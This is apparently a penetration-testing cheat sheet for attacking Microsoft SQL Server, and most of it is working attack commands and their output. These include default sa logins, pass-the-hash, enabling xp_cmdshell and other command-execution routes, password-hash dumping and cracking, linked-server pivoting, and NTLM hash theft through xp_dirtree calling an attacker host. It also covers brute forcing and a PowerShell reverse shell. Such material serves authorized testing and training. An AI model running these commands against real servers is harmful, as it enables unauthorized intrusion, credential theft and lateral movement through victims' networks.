Skip to content

MSSQL

Microsoft SQL Server listens on TCP 1433 by default. Two operator-relevant paths into a finding: weak/default credentials on the sa (system administrator) account, and the xp_cmdshell stored procedure that lets sa-level accounts run arbitrary OS commands. Linked-server configurations let you pivot from one MSSQL instance into others - sometimes with impersonation chains that escalate privileges along the way.

# 1. Service scan
nmap -sV -sC -p1433 --script ms-sql-* <target>
# 2. Try default sa creds
impacket-mssqlclient sa:''@<target>
impacket-mssqlclient sa:'password'@<target>
impacket-mssqlclient -windows-auth DOMAIN/user:pass@<target>
# 3. Enumerate databases
SQL> select name from sys.databases;
SQL> use <database>;
SQL> select name from sys.tables;
# 4. Enable and use xp_cmdshell
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
# 5. List linked servers (pivot targets)
SQL> EXEC sp_linkedservers;

Success indicator: successful sa login, command execution via xp_cmdshell, or sp_linkedservers revealing pivot paths to other database hosts.

MSSQL uses Microsoft’s proprietary TDS (Tabular Data Stream) protocol over TCP 1433 by default. SQL Server can also be configured for:

PortUse
TCP 1433Default instance
UDP 1434SQL Browser service - answers “which port is instance X on?” queries
TCP dynamicNamed instances - port chosen at startup, registered with SQL Browser
TCP 4022Service Broker (rare in practice)
TCP 5022AlwaysOn availability group endpoints

Most external-facing deployments use the default instance on 1433. Named instances on dynamic ports are common in internal AD environments - query the SQL Browser on UDP 1434 to discover them.

ModeHow it works
SQL Server authenticationUsername + password, validated against MSSQL’s own sys.syslogins table. Includes the built-in sa account.
Windows authenticationNTLM or Kerberos, validated against the local SAM or AD domain. SQL Server checks the Windows token against sys.server_principals.
Mixed modeBoth enabled. Default for most installs that need sa for application backends.
Windows-only modeOnly Windows auth allowed. sa exists but is disabled. The hardened option.

When you see Mixed Mode plus an exposed 1433, the sa account is the first thing to test.

Every MSSQL instance has these system databases:

DatabasePurpose
masterServer-level config - logins, server settings, linked servers
modelTemplate used when creating new databases
msdbSQL Agent jobs, backup history
tempdbRecreated at startup, used for temp tables and intermediate query results
ResourceHidden - read-only definitions of all system objects

master.sys.syslogins and master.sys.server_principals are where login info lives.

Modern MSSQL installs (2017+) are reasonably secure by default:

  • sa login disabled in Windows-only auth mode
  • Network protocols restricted to specific addresses
  • xp_cmdshell disabled
  • TLS encryption for the wire protocol enabled
  • Audit logging on for security-relevant events

Legacy installs (2008, 2012, 2014) and admin-customized configs frequently deviate.

SettingWhat it enables
Mixed Mode + empty/weak sa passwordDirect RCE path once credentials are guessed
xp_cmdshell enabled (sp_configure 'xp_cmdshell', 1)Stored procedure that runs shell commands. Requires sa or db_owner of master.
Ole Automation Procedures enabledsp_OACreate and friends - another RCE path
Ad Hoc Distributed Queries enabledOPENROWSET against remote sources - exfil and SSRF-like primitives
external scripts enabledRuns Python / R scripts. Each can be turned into RCE.
TRUSTWORTHY databasesDatabase can execute code with elevated server privileges
Linked servers with cached credentialsAllows pivoting to other DBs as the linked-login user
Use Original Login on Linked Server (rpcout = true)Linked-server queries impersonate the caller - chains of trust to abuse
secure_file_priv (no MSSQL equivalent - file ops via xp_cmdshell or BULK INSERT)Same effect via different mechanism
CLR enabled.NET assemblies loaded into SQL Server - sandbox-escape paths exist

The classic finding chain: Mixed Mode + weak sa + xp_cmdshell enabled (or enable-able by sa) = unauthenticated remote attacker gets command execution as the MSSQLSERVER service account, which on most installs is NT Service\MSSQL$INSTANCENAME - a built-in account with broad local access.

Terminal window
sudo nmap 10.129.14.128 -sV -p1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00
| ms-sql-info:
| 10.129.14.128:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.14.128:1433:
| Target_Name: DOMAIN
| NetBIOS_Domain_Name: DOMAIN
| NetBIOS_Computer_Name: SQL01
| DNS_Domain_Name: domain.local
| DNS_Computer_Name: SQL01.domain.local
| DNS_Tree_Name: domain.local
|_ Product_Version: 10.0.17763
| ms-sql-empty-password:
|_ No login with empty password.

Two valuable data points here even without successful login:

  • ms-sql-info - exact version (2019 RTM). Match to CVE list for SQL Server.
  • ms-sql-ntlm-info - leaks the AD domain (DOMAIN), full FQDN (SQL01.domain.local), and Windows version (10.0.17763 = Server 2019). The SQL Server returned this from a pre-auth NTLM negotiation that you triggered without credentials. Gold for AD recon.

Other useful NSE scripts:

ms-sql-brute # credential brute-force
ms-sql-config # configuration enumeration (needs creds)
ms-sql-dac # try the Dedicated Admin Connection
ms-sql-dump-hashes # password hash dump (needs creds)
ms-sql-empty-password # test empty password on default accounts
ms-sql-info # banner / version
ms-sql-ntlm-info # AD intel via NTLM challenge
ms-sql-query # run a query (needs creds)
ms-sql-tables # list tables (needs creds)
ms-sql-xp-cmdshell # test xp_cmdshell (needs sa)

impacket-mssqlclient is the operator-friendly client. It supports both SQL auth and Windows auth (NTLM relay, pass-the-hash, Kerberos):

Terminal window
# SQL authentication
impacket-mssqlclient sa:'P4ssw0rd!'@10.129.14.128
# SQL auth, empty password
impacket-mssqlclient sa:''@10.129.14.128
# Windows authentication
impacket-mssqlclient -windows-auth DOMAIN/svc_sql:'Pass'@10.129.14.128
# Pass-the-hash
impacket-mssqlclient -windows-auth -hashes <LM>:<NT> DOMAIN/[email protected]
# Kerberos (with TGT in KRB5CCNAME)
impacket-mssqlclient -windows-auth -k -no-pass DOMAIN/[email protected]

Successful connection:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
SQL> select name from sys.databases;
name
------------
master
tempdb
model
msdb
ReportServer
CRM_Production
HRPortal
finance_db
SQL> use CRM_Production;
SQL> select name from sys.tables;
name
-----------------
Customers
Orders
LoginAttempts
APITokens
SystemUsers
SQL> select * from SystemUsers;
SQL> select column_name from information_schema.columns where table_name = 'SystemUsers';
-- Current login and database user
SQL> select system_user, current_user;
-- All logins on the server (login = server-level, user = database-level)
SQL> select name, type_desc, is_disabled from sys.server_principals
where type in ('S','U','G') and name not like '##%';
-- Server-level role members
SQL> select sp.name as login, r.name as role
from sys.server_role_members rm
join sys.server_principals sp on rm.member_principal_id = sp.principal_id
join sys.server_principals r on rm.role_principal_id = r.principal_id;
-- Check if current login is sysadmin
SQL> select is_srvrolemember('sysadmin');
-- Returns 1 if yes

Requires sysadmin (sa-equivalent):

SQL> select name, password_hash from sys.sql_logins;
name password_hash
sa 0x0200<...> -- SHA-512 (since 2012), SHA-1 (older)
svc_app 0x0200<...>
report_ro 0x0200<...>

Hashcat modes:

  • -m 1731 - MSSQL 2012+ (SHA-512 based)
  • -m 132 - MSSQL 2005 (SHA-1, no salt - easy)
  • -m 131 - MSSQL 2000 (SHA-1, simpler - easier still)
loud
-- Check current state
SQL> EXEC sp_configure 'xp_cmdshell';
-- column "run_value": 0 means disabled, 1 means enabled
-- Enable (requires sysadmin)
SQL> EXEC sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
-- Run a command
SQL> EXEC xp_cmdshell 'whoami';
output
----------------------------
nt service\mssql$sqlexpress
SQL> EXEC xp_cmdshell 'powershell -e <base64 cmd>';

The output column streams stdout from the executed command. impacket-mssqlclient has a built-in shorthand for this:

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

The shell runs as the SQL Server service account. By default that’s NT Service\MSSQL$<INSTANCE> - a low-privilege built-in account on hardened installs, but on many production deployments it’s a domain user with db_owner or local administrator permissions for the SQL host.

Alternative RCE paths (when xp_cmdshell is locked down)

Section titled “Alternative RCE paths (when xp_cmdshell is locked down)”

If xp_cmdshell is disabled and you don’t have rights to re-enable it:

-- Ole Automation
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
SQL> DECLARE @cmd INT;
EXEC sp_OACreate 'WScript.Shell', @cmd OUTPUT;
EXEC sp_OAMethod @cmd, 'Run', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';
-- CLR assembly (the "robust" path - survives many SQL hardening configurations)
-- Requires writing a custom .NET assembly, signing, importing via CREATE ASSEMBLY,
-- then CREATE PROCEDURE pointing at it. See PowerUpSQL for automation.
-- agent_jobs (when SQL Agent service is running)
SQL> EXEC msdb.dbo.sp_add_job @job_name = 'pwn';
SQL> EXEC msdb.dbo.sp_add_jobstep @job_name = 'pwn', @step_name = 'pwn1',
@subsystem = 'CmdExec',
@command = 'cmd.exe /c whoami > C:\temp\out.txt';
SQL> EXEC msdb.dbo.sp_add_jobserver @job_name = 'pwn';
SQL> EXEC msdb.dbo.sp_start_job 'pwn';

Each of these has different prerequisites and detection footprint. xp_cmdshell is the loudest but simplest; CLR is the stealthiest but most setup.

Linked servers are MSSQL’s mechanism for federating queries across instances. When configured with cached credentials, they’re a pivot path:

SQL> EXEC sp_linkedservers;
SRV_NAME SRV_PRODUCT PROVIDER_NAME DATA_SOURCE
SQL01 SQL Server SQLNCLI SQL01 -- this server
SQL02 SQL Server SQLNCLI SQL02 -- linked
DC01-DATA SQL Server SQLNCLI DC01-DATA.dom -- another link

Run a query on a linked server:

SQL> SELECT * FROM OPENQUERY([SQL02], 'SELECT system_user');

Whose credentials are used depends on the link config - SELF/Current login uses your token, Specified uses cached static creds. For chains:

-- If SQL02 has a link back to SQL03, you can chain:
SQL> SELECT * FROM OPENQUERY([SQL02], 'SELECT * FROM OPENQUERY([SQL03], ''SELECT system_user'')');

xp_cmdshell over linked servers - requires the linked login to have sa on the remote - completes the chain to RCE on the linked host:

SQL> EXECUTE ('EXEC xp_cmdshell ''whoami''') AT [SQL02];

PowerUpSQL automates link discovery and abuse - it walks the entire link graph and tells you which paths reach sa privilege.

moderate

A trick for unauthenticated NTLM hash capture from MSSQL service account when you have query access:

SQL> EXEC master..xp_dirtree '\\<attacker-ip>\share', 1, 1;

xp_dirtree makes the SQL Server connect to the attacker-controlled UNC path with the service account’s credentials. Catch the NTLM authentication with responder or inveigh on your attack box:

Terminal window
sudo responder -I tun0

The captured NTLMv2 hash goes into hashcat -m 5600 for offline cracking, or ntlmrelayx.py for live relay against another service in scope.

loud
Terminal window
hydra -L users.txt -P passwords.txt mssql://10.129.14.128
crackmapexec mssql 10.129.14.128 -u sa -p passwords.txt
Terminal window
# NSE script (default port, no creds needed)
sudo nmap -p1433 --script ms-sql-brute --script-args \
userdb=users.txt,passdb=passwords.txt 10.129.14.128

sa weak creds → xp_cmdshell → service account shell:

  1. impacket-mssqlclient sa:Pass@target
  2. Enable xp_cmdshell and show advanced options
  3. xp_cmdshell 'powershell -e <b64>' for a reverse shell to your handler
  4. From the SQL service account, run local-priv-esc tools

Limited login → linked-server chain → sa elsewhere:

  1. Login with non-sysadmin account
  2. sp_linkedservers reveals links to other instances
  3. OPENQUERY chain hits a link where you have sa due to misconfig
  4. RCE on that other instance, repeat

NTLM theft → relay → AD compromise:

  1. Any account that can xp_dirtree
  2. responder catches NTLMv2 from MSSQL service account
  3. If service account is over-privileged in AD, relay it to LDAP for ACL abuse

SQL injection on web app → MSSQL backend → server compromise:

  1. SQLi in a web app (see SQL Injection)
  2. Identify MSSQL backend via syntax errors or fingerprinting
  3. Stack SQL injection to enable xp_cmdshell
  4. Get RCE on the DB host without ever having creds
TaskCommand
Service scannmap -sV --script ms-sql-* -p1433 <target>
AD intel via NTLMnmap --script ms-sql-ntlm-info -p1433 <target>
Connect (SQL auth)impacket-mssqlclient sa:Pass@<target>
Connect (Windows auth)impacket-mssqlclient -windows-auth DOMAIN/user:pass@<target>
Pass-the-hashimpacket-mssqlclient -windows-auth -hashes :<NT> DOMAIN/user@<target>
List databasesSELECT name FROM sys.databases;
List tablesSELECT name FROM sys.tables;
Current userSELECT system_user, current_user;
Am I sysadmin?SELECT is_srvrolemember('sysadmin');
Dump login hashesSELECT name, password_hash FROM sys.sql_logins;
Enable xp_cmdshellEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Run commandEXEC xp_cmdshell 'whoami';
List linked serversEXEC sp_linkedservers;
Query linked serverSELECT * FROM OPENQUERY([SQL02], 'SELECT system_user');
NTLM captureEXEC master..xp_dirtree '\\\\<attacker-ip>\\share', 1, 1;
Brute forcehydra -L users -P pass mssql://<target>
  • Got sa or admin via brute / SQLi / default creds → enable xp_cmdshell and pop a shell (reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; exec xp_cmdshell 'whoami')
  • xp_cmdshell disabled and reconfigure blocked → try alternative RCE paths (CLR assembly, OLE Automation, agent jobs)
  • xp_cmdshell whoami returns service account → confirm SeImpersonate is held, then chain into SeImpersonate → SYSTEM via potato (this is the canonical MSSQL → SYSTEM path)
  • NTLM theft worked (xp_dirtree callback hit Responder) → captured hash is the SQL service account; crack offline (hashcat mode 5600) or relay to other hosts with ntlmrelayx
  • Linked servers visibleEXEC ('command') AT [LINKED_SERVER] - chain through to internal databases not directly reachable from your network position
  • Got non-admin credentials → enumerate role memberships (SELECT IS_SRVROLEMEMBER('sysadmin')); check for IMPERSONATE permission on higher-privileged logins (escalation primitive without needing sa)
  • Read access to interesting databases → dump credentials tables, app secrets, integration tokens; try harvested credentials against SMB and other services on the same network
  • Nothing works with current creds → password-spray, check public sources for default install creds, or pivot to other services on the host - SMB and WinRM may have weaker auth